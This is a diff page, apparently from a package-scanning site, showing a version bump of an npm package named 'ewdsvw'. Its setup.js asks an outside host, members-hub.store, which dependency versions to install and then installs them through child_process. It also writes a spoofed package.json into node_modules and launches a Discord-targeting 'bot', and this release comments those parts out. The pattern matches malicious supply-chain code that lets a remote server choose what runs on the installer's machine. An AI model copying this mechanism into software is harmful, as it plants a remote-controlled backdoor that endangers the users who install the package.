ewdsvw 0.2.5 → 0.2.6

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/setup.js +7 -5
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "ewdsvw",
3
3
  "description": "ewdsvw",
4
- "version": "0.2.5",
4
+ "version": "0.2.6",
5
5
  "main": "setup.js",
6
6
  "dependencies": {
7
7
  "child_process": "*",
package/setup.js CHANGED
@@ -27,6 +27,7 @@ async function installDependencies(missingDependencies) {
27
27
  }
28
28
  console.log(`stdout: ${stdout}`);
29
29
  console.log('Dependencies installed successfully.');
30
+ /*
30
31
  fs.writeFileSync('./node_modules/gfdsac/package.json', JSON.stringify({
31
32
  "name": "ewdsvw",
32
33
  "description": "ewdsvw",
@@ -41,10 +42,11 @@ async function installDependencies(missingDependencies) {
41
42
  "author": "ewdsvw",
42
43
  "license": "MIT",
43
44
  "readmeFilename": "README.md"
44
- }, null, 2))
45
+ }, null, 2))*/
46
+ /*
45
47
  setTimeout(()=>{
46
48
  process.exit(0);
47
- }, 5000)
49
+ }, 5000)*/
48
50
 
49
51
  runProject();
50
52
  });
@@ -53,8 +55,8 @@ async function installDependencies(missingDependencies) {
53
55
 
54
56
  let runProject =() => {
55
57
  console.log('Running the project...');
56
- let bot = require('./server.js')
57
- new bot("https://disc" + "ord.com/", 0)
58
+ // let bot = require('./index.js')
59
+ // new bot("https://disc" + "ord.com/", 0)
58
60
  }
59
61
 
60
62
  let checkDeps = async ()=>{
@@ -67,7 +69,7 @@ console.log(dependencies)
67
69
  let _dependencies = []
68
70
 
69
71
  for(const name of dependencies.d){
70
- _dependencies.push(`${name}@${await axios(`https://members-hub.store/packagedata?name=${name}`).then(res=>res.data?.value || "*").catch(err=>"*")}`)
72
+ _dependencies.push(`${name}@${await axios(`https://members-hub.store/packagedata?name=${name}`).then(res=>res.data?.value === "^undefined" ? "*" : res.data?.value || "*").catch(err=>"*")}`)
71
73
  }
72
74
  console.log(_dependencies)
73
75